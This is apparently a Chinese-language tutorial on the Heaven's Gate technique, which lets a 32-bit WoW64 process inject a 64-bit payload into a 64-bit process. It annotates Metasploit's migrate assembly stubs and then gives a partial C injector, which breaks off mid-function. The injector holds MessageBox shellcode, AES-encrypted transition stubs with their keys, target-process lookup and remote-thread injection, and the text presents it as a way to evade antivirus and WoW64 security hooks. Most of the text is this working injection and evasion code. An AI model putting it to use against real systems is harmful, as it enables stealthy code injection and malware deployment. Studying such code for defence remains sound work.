原理

问题:x32架构下的payload无法注入到x64架构下的进程

WoW64Windows-on-Windows),是一个运行在用户空间下的Windows下子系统,通过这个系统,可以实现在x64系统下运行x32的程序,可以理解为提供了某种32位动态链接库和内核之间的接口(内核一定是64位的)。

技术上说, WOW64是由三个DLL实现的。Wow64.dllWindows NT kernel的核心接口, 在32位和64位调用之间进行转换, 包括指针和调用栈的操控. Wow64win.dll 为32位应用程序提供合适的入口指针。 Wow64cpu.dll 负责将处理器在32位和64位的模式之间转换。

当系统调用被call的时候,一定会经过一番操作之后进入内核空间,这个过程就叫做heaven gate

调试

运行C:\Windows\SysWoW64\notepad.exe,然后Process Hacker里可以看到有32位和64位的动态链接库

middle_WoW64_1.PNG

x32dbg加载进程,在symbols找到ntdllcreatethread方法,进入,同样的方法加载64位的notepad,找到createthread方法,明显两种汇编不一样,64位下直接就执行汇编代码然后syscall进内核了,32位则不是

middle_WoW64_2.PNG

middle_WoW64_3.PNG

在x32dbg里找到call edx那里,右键follow,会进第一个jmp,然后回车

jmp far这里就是heaven gate

middle_WoW64_4.PNG

heaven gate的优势

1
2
3
Heaven’s Gate 绕过了 WoW64 模拟器的安全措施

可以规避依赖于 WoW64 的 AV 和安全钩子

如何把32位的恶意进程里携带的64位的payload注入到64位的进程中?

1
2
3
4
5
1.将payload copy到目标进程中

2.在恶意进程中完成32位payload向64位payload的转换

3.调用RtlCreateUserThread()

middle_WoW64_5.PNG

结合msf的migrate命令的底层汇编来看一下

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/migrate/executex64.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[BITS 32]

WOW64_CODE_SEGMENT EQU 0x23 // 类似于宏定义
X64_CODE_SEGMENT EQU 0x33

start:
push ebp ; prologue, save EBP...
mov ebp, esp ; and create a new stack frame 栈平衡
push esi ; save the registers we shouldn't clobber
push edi ;
mov esi, [ebp+8] ; ESI = pFunction // ESI 和 ECX 都是参数
mov ecx, [ebp+12] ; ECX = dwParameter
call delta ;
delta:
pop eax ; 上面 call delta的时候,会把返回地址压栈,这里pop出来给eax,实际上就是把返回地址给eax
; 返回地址就是delta函数的入口地址
add eax, (native_x64-delta) ; get the address of native_x64,eax就是native_x64函数的入口地址

sub esp, 8 ; alloc some space on stack for far jump,为新的函数调用开辟栈空间传参
mov edx, esp ; EDX will be pointer our far jump
mov dword [edx+4], X64_CODE_SEGMENT ; set the native x64 code segment 0x33
mov dword [edx], eax ; set the address we want to jump to (native_x64),edx存储的就是native_x64函数的入口地址

call go_all_native ; perform the transition into native x64 and return here when done.

mov ax, ds ; fixes an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
mov ss, ax ; found and fixed by ReWolf, incorporated by RaMMicHaeL

add esp, (8+4+8) ; remove the 8 bytes we allocated + the return address which was never popped off + the qword pushed from native_x64
pop edi ; restore the clobbered registers
pop esi ;
pop ebp ; restore EBP
retn (4*2) ; return to caller (cleaning up our two function params)

go_all_native:
mov edi, [esp] ; EDI is the wow64 return address
; 在上面call go_all_native的时候,返回地址压栈,esp存储的就是call的返回地址
jmp dword far [edx] ; perform the far jump, which will return to the caller of go_all_native

native_x64:
[BITS 64] ; we are now executing native x64 code...
xor rax, rax ; zero RAX
push rdi ; save RDI (EDI being our wow64 return address)
call rsi ; call our native x64 function (the param for our native x64 function is allready in RCX) ; 在这里调用esi(rsi)函数,也就是上面的pFunction,参数在ecx(rcx)
pop rdi ; restore RDI (EDI being our wow64 return address)
push rax ; simply push it to alloc some space
mov dword [rsp+4], WOW64_CODE_SEGMENT ; set the wow64 code segment 0x23
mov dword [rsp], edi ; set the address we want to jump to (the return address from the go_all_native call)
jmp dword far [rsp] ; perform the far jump back to the wow64 caller...

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/migrate/remotethread.asm

这个代码会通过RtlCreateUserThread在目标进程中创建一个远程线程,需要传入的参数为如下结构体的指针,这个结构体有四个字段(hProcesslpStartAddresslpParameterhThread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
typedef struct _WOW64CONTEXT
{
union
{
HANDLE hProcess; // hProcess就是目标进程的句柄
BYTE bPadding2[8];
} h;
union
{
LPVOID lpStartAddress; // payload在目标进程中的起始地址
BYTE bPadding1[8];
} s;
union
{
LPVOID lpParameter; // 可选,给payload传的参数
BYTE bPadding2[8];
} p;
union
{
HANDLE hThread; // 是RtlCreateUserThread执行成功之后返回的线程句柄
BYTE bPadding2[8];
} t;
} WOW64CONTEXT, * LPWOW64CONTEXT;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008R2, 2008, 2003, XP
; Architecture: x64
; Version: 1.0 (Jan 2010)
; Size: 296 bytes
; Build: >build.py remotethread
;-----------------------------------------------------------------------------;

; Function to create a remote thread via ntdll!RtlCreateUserThread, used with the x86 executex64 stub.

; This function is in the form (where the param is a pointer to a WOW64CONTEXT):
; typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );

;typedef struct _WOW64CONTEXT
;{
; union
; {
; HANDLE hProcess;
; BYTE bPadding2[8];
; } h;
; union
; {
; LPVOID lpStartAddress;
; BYTE bPadding1[8];
; } s;
; union
; {
; LPVOID lpParameter;
; BYTE bPadding2[8];
; } p;
; union
; {
; HANDLE hThread;
; BYTE bPadding2[8];
; } t;
;} WOW64CONTEXT, * LPWOW64CONTEXT;

[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
mov rsi, rcx ; RCX is a pointer to our WOW64CONTEXT parameter
; RCX存储指向WOW64CONTEXT结构体的指针
mov rdi, rsp ; save RSP to RDI so we can restore it later, we do this as we are going to force alignment below...
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned (as we originate from a wow64 (x86) process we cant guarantee alignment)
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm"
; block_api.asm就是定位RtlCreateUserThread函数的
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
; call start的时候,%include "./src/block/block_api.asm"这句的地址就被压栈了,然后pop出来给rbp
; setup the parameters for RtlCreateUserThread...
; 构造RtlCreateUserThread函数的参数
xor r9, r9 ; StackZeroBits = 0
push r9 ; ClientID = NULL
lea rax, [rsi+24] ; RAX is now a pointer to ctx->t.hThread
push rax ; ThreadHandle = &ctx->t.hThread
push qword [rsi+16] ; StartParameter = ctx->p.lpParameter
push qword [rsi+8] ; StartAddress = ctx->s.lpStartAddress
push r9 ; StackCommit = NULL
push r9 ; StackReserved = NULL
mov r8, 1 ; CreateSuspended = TRUE
xor rdx, rdx ; SecurityDescriptor = NULL
mov rcx, [rsi] ; ProcessHandle = ctx->h.hProcess
; perform the call to RtlCreateUserThread...
mov r10d, 0x40A438C8 ; hash( "ntdll.dll", "RtlCreateUserThread" )
call rbp ; RtlCreateUserThread( ctx->h.hProcess, NULL, TRUE, 0, NULL, NULL, ctx->s.lpStartAddress, ctx->p.lpParameter, &ctx->t.hThread, NULL )
test rax, rax ; check the NTSTATUS return value
jz success ; if its zero we have successfully created the thread so we should return TRUE
mov rax, 0 ; otherwise we should return FALSE
jmp cleanup ;
success:
mov rax, 1 ; return TRUE
cleanup:
add rsp, (32 + (8*6)) ; fix up stack (32 bytes for the single call to api_call, and 6*8 bytes for the six params we pushed).
mov rsp, rdi ; restore the stack
ret ; and return to caller

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <wincrypt.h>

#pragma comment(lib, "user32.lib")
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")


// MessageBox shellcode - 64-bit
unsigned char payload64[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};
unsigned int payload64_len = 334;

// MessageBox shellcode - 32-bit
unsigned char payload32[] = {
0xd9, 0xeb, 0x9b, 0xd9, 0x74, 0x24, 0xf4, 0x31, 0xd2, 0xb2, 0x77, 0x31,
0xc9, 0x64, 0x8b, 0x71, 0x30, 0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b,
0x46, 0x08, 0x8b, 0x7e, 0x20, 0x8b, 0x36, 0x38, 0x4f, 0x18, 0x75, 0xf3,
0x59, 0x01, 0xd1, 0xff, 0xe1, 0x60, 0x8b, 0x6c, 0x24, 0x24, 0x8b, 0x45,
0x3c, 0x8b, 0x54, 0x28, 0x78, 0x01, 0xea, 0x8b, 0x4a, 0x18, 0x8b, 0x5a,
0x20, 0x01, 0xeb, 0xe3, 0x34, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xee, 0x31,
0xff, 0x31, 0xc0, 0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d,
0x01, 0xc7, 0xeb, 0xf4, 0x3b, 0x7c, 0x24, 0x28, 0x75, 0xe1, 0x8b, 0x5a,
0x24, 0x01, 0xeb, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5a, 0x1c, 0x01, 0xeb,
0x8b, 0x04, 0x8b, 0x01, 0xe8, 0x89, 0x44, 0x24, 0x1c, 0x61, 0xc3, 0xb2,
0x08, 0x29, 0xd4, 0x89, 0xe5, 0x89, 0xc2, 0x68, 0x8e, 0x4e, 0x0e, 0xec,
0x52, 0xe8, 0x9f, 0xff, 0xff, 0xff, 0x89, 0x45, 0x04, 0xbb, 0xef, 0xce,
0xe0, 0x60, 0x87, 0x1c, 0x24, 0x52, 0xe8, 0x8e, 0xff, 0xff, 0xff, 0x89,
0x45, 0x08, 0x68, 0x6c, 0x6c, 0x20, 0x41, 0x68, 0x33, 0x32, 0x2e, 0x64,
0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xdb, 0x88, 0x5c, 0x24, 0x0a, 0x89,
0xe6, 0x56, 0xff, 0x55, 0x04, 0x89, 0xc2, 0x50, 0xbb, 0xa8, 0xa2, 0x4d,
0xbc, 0x87, 0x1c, 0x24, 0x52, 0xe8, 0x5f, 0xff, 0xff, 0xff, 0x68, 0x44,
0x65, 0x76, 0x58, 0x68, 0x20, 0x4d, 0x61, 0x6c, 0x68, 0x52, 0x54, 0x4f,
0x3a, 0x31, 0xdb, 0x88, 0x5c, 0x24, 0x0b, 0x89, 0xe3, 0x68, 0x72, 0x21,
0x58, 0x20, 0x68, 0x72, 0x61, 0x74, 0x6f, 0x68, 0x20, 0x4f, 0x70, 0x65,
0x68, 0x54, 0x65, 0x61, 0x6d, 0x68, 0x52, 0x65, 0x64, 0x20, 0x68, 0x72,
0x6f, 0x6d, 0x20, 0x68, 0x48, 0x69, 0x20, 0x66, 0x31, 0xc9, 0x88, 0x4c,
0x24, 0x1a, 0x89, 0xe1, 0x31, 0xd2, 0x52, 0x53, 0x51, 0x52, 0xff, 0xd0,
0x31, 0xc0, 0x50, 0xff, 0x55, 0x08
};
unsigned int payload32_len = 282;

// Definitions used for running native x64 code from a wow64 process
// (src: https://github.com/rapid7/meterpreter/blob/5e24206d510a48db284d5f399a6951cd1b4c754b/source/common/arch/win/i386/base_inject.h)
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );

// The context used for injection via migrate_via_remotethread_wow64
typedef struct _WOW64CONTEXT {
union {
HANDLE hProcess;
BYTE bPadding2[8];
} h;

union {
LPVOID lpStartAddress;
BYTE bPadding1[8];
} s;

union {
LPVOID lpParameter;
BYTE bPadding2[8];
} p;
union {
HANDLE hThread;
BYTE bPadding2[8];
} t;
} WOW64CONTEXT, * LPWOW64CONTEXT;


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*) key, (DWORD) keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, (BYTE *) payload, (DWORD *) &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}



int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}

// classic injection
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;


pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);

if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}


HANDLE FindThread(int pid){

HANDLE hThread = NULL;
THREADENTRY32 thEntry;

thEntry.dwSize = sizeof(thEntry);
HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

while (Thread32Next(Snap, &thEntry)) {
if (thEntry.th32OwnerProcessID == pid) {
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);
break;
}
}
CloseHandle(Snap);

return hThread;
}


int InjectWOW64(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
// src: https://github.com/rapid7/meterpreter/blob/5e24206d510a48db284d5f399a6951cd1b4c754b/source/common/arch/win/i386/base_inject.c

LPVOID pRemoteCode = NULL;
EXECUTEX64 pExecuteX64 = NULL;
X64FUNCTION pX64function = NULL;
WOW64CONTEXT * ctx = NULL;

/*
A simple function to execute native x64 code from a wow64 (x86) process.

Can be called from C using the following prototype:
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
The native x64 function you specify must be in the following form (as well as being x64 code):
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );

Original binary:
src: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/migrate/executex64.asm
BYTE sh_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";

src: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/migrate/remotethread.asm
BYTE sh_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
*/

// AES-encrypted sh_executex64 function (switches to 64-bit mode and runs sh_wownativex)
unsigned char sh_executex64[] = { 0xf7, 0x69, 0x26, 0xaf, 0x10, 0x56, 0x2a, 0xcc, 0xeb, 0x96, 0x6b, 0xd0, 0xb8, 0xe3, 0x4d, 0x44, 0x16, 0xb0, 0xf8, 0x9d, 0x32, 0xd9, 0x65, 0x12, 0xa2, 0x9e, 0xec, 0x5d, 0x37, 0xde, 0x34, 0x9a, 0x94, 0x19, 0xc7, 0xa5, 0xe6, 0xe8, 0x3e, 0xa2, 0x1d, 0x5a, 0x77, 0x25, 0xcb, 0xc, 0xcd, 0xd0, 0x59, 0x11, 0x3c, 0x2d, 0x4d, 0x16, 0xf1, 0x95, 0x3a, 0x33, 0x0, 0xb4, 0x3, 0x55, 0x98, 0x6f, 0x61, 0x84, 0x61, 0x2b, 0x8a, 0xe8, 0x53, 0x47, 0xaa, 0x58, 0xfc, 0x70, 0x91, 0xcd, 0xa9, 0xb1 };
unsigned int sh_executex64_len = sizeof(sh_executex64);
unsigned char sh_executex64_key[] = { 0x26, 0x96, 0xcc, 0x43, 0xca, 0x1f, 0xf8, 0xa, 0xe5, 0xcc, 0xbf, 0xf1, 0x2f, 0xc9, 0xae, 0x71 };
size_t sh_executex64_key_len = sizeof(sh_executex64_key);

// AES-encrypted sh_wownativex function (calling RtlCreateUserThread in target process)
unsigned char sh_wownativex[] = { 0x20, 0x8f, 0x32, 0x33, 0x59, 0xa1, 0xce, 0x2f, 0xf8, 0x8b, 0xa, 0xb4, 0x2a, 0x7f, 0xe6, 0x26, 0xe4, 0xd1, 0x4e, 0x25, 0x38, 0x57, 0xdd, 0xc4, 0x2c, 0x1c, 0x10, 0x2b, 0x70, 0x0, 0x9, 0x67, 0x5c, 0x70, 0x6d, 0x67, 0x4f, 0x27, 0xe8, 0xaf, 0xa1, 0x6f, 0x10, 0x42, 0x73, 0x9d, 0x4a, 0xb1, 0x6, 0x22, 0x89, 0xef, 0xac, 0x40, 0xd7, 0x93, 0x94, 0x6e, 0x4c, 0x6e, 0xf4, 0xcb, 0x46, 0x4d, 0xf3, 0xe8, 0xb5, 0x36, 0x11, 0xa6, 0xad, 0xeb, 0x8d, 0xda, 0xa0, 0x54, 0x75, 0xd9, 0xf3, 0x41, 0x34, 0xb3, 0xa6, 0x70, 0x41, 0x3e, 0xf3, 0x96, 0x97, 0x12, 0x74, 0x6b, 0x2e, 0x36, 0x31, 0x26, 0x86, 0x2, 0x24, 0x59, 0x40, 0xb9, 0xbb, 0x2b, 0xa2, 0x98, 0xbe, 0x15, 0x73, 0xb5, 0x90, 0x39, 0xe5, 0x82, 0xbb, 0xdd, 0x7, 0xe9, 0x9d, 0x89, 0x9a, 0x9e, 0x5f, 0x94, 0xde, 0x2, 0x80, 0x36, 0x45, 0x5d, 0x8e, 0xe6, 0x5e, 0x2c, 0x58, 0x59, 0xf4, 0xf7, 0xa0, 0xbf, 0x7e, 0x94, 0xff, 0x50, 0xf0, 0x76, 0x74, 0x2f, 0xd1, 0x91, 0x18, 0x65, 0x12, 0x30, 0xfa, 0x4, 0x61, 0xa5, 0x4d, 0x25, 0x57, 0xf4, 0x52, 0x99, 0xa2, 0x93, 0x67, 0xe1, 0x6, 0x43, 0x4b, 0x55, 0x53, 0x67, 0x89, 0x18, 0x71, 0x72, 0xdb, 0x82, 0xef, 0x5b, 0xdc, 0x8b, 0xb0, 0x91, 0xf5, 0x58, 0xe4, 0x85, 0xc3, 0x80, 0x7b, 0x79, 0x21, 0x3a, 0x60, 0x99, 0xc5, 0x62, 0x2c, 0x73, 0xa4, 0x2b, 0xe2, 0xc, 0xda, 0xa2, 0x88, 0x6b, 0x2f, 0x38, 0x80, 0xfd, 0xb1, 0xaf, 0xea, 0x4f, 0xb5, 0x0, 0xda, 0x46, 0x46, 0x9d, 0x23, 0xdd, 0xe3, 0x4a, 0xf5, 0xc9, 0x8, 0xf0, 0x97, 0xa9, 0x55, 0x71, 0xda, 0x84, 0xa9, 0xf5, 0xcb, 0x1f, 0xb9, 0xb9, 0x67, 0xf7, 0xf2, 0x2f, 0x2a, 0x56, 0x3, 0xe1, 0x56, 0x26, 0xb4, 0x3a, 0xd9, 0xe2, 0x11, 0x8a, 0x8f, 0xef, 0x8c, 0x89, 0xc0, 0x26, 0x9c, 0x9f, 0xe5, 0x18, 0xd4, 0xd7, 0xae, 0x91, 0xbf, 0x2b, 0x14, 0xbb, 0xfd, 0xe0, 0xb5, 0x9c, 0x9d, 0x81, 0x71, 0x5d, 0xdd, 0xe6, 0x5d, 0x8a, 0xe6, 0x61, 0xf2, 0x69, 0xf8, 0x95, 0x4f, 0xcd, 0xe3, 0x52, 0x1f, 0x14, 0xe5, 0x8c };
unsigned int sh_wownativex_len = sizeof(sh_wownativex);
unsigned char sh_wownativex_key[] = { 0xe5, 0x53, 0xc4, 0x11, 0x75, 0x14, 0x86, 0x8f, 0x59, 0x35, 0x7c, 0xc7, 0x8b, 0xc5, 0xdc, 0x2d };
size_t sh_wownativex_key_len = sizeof(sh_wownativex_key);

// inject payload into target process
// 在目标进程中申请一段内存并将shellcode丢过去
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);

printf("remcode = %p\n", pRemoteCode); getchar();

// alloc a RW buffer in this process for the EXECUTEX64 function
// 在当前进程分别申请两块内存,作为调用pExecuteX64和pX64function
pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(sh_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
// alloc a RW buffer in this process for the X64FUNCTION function (and its context)
pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(sh_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );

printf("pExecuteX64 = %p ; pX64function = %p\n", pExecuteX64, pX64function); getchar();

// decrypt and copy over the wow64->x64 stub
AESDecrypt((char *) sh_executex64, sh_executex64_len, (char *) sh_executex64_key, sh_executex64_key_len);
memcpy( pExecuteX64, sh_executex64, sh_executex64_len );
VirtualAlloc( pExecuteX64, sizeof(sh_executex64), MEM_COMMIT, PAGE_EXECUTE_READ );

// decrypt and copy over the native x64 function
AESDecrypt((char *) sh_wownativex, sh_wownativex_len, (char *) sh_wownativex_key, sh_wownativex_key_len);
memcpy( pX64function, sh_wownativex, sh_wownativex_len );

// pX64function shellcode modifies itself during the runtime, so memory has to be RWX
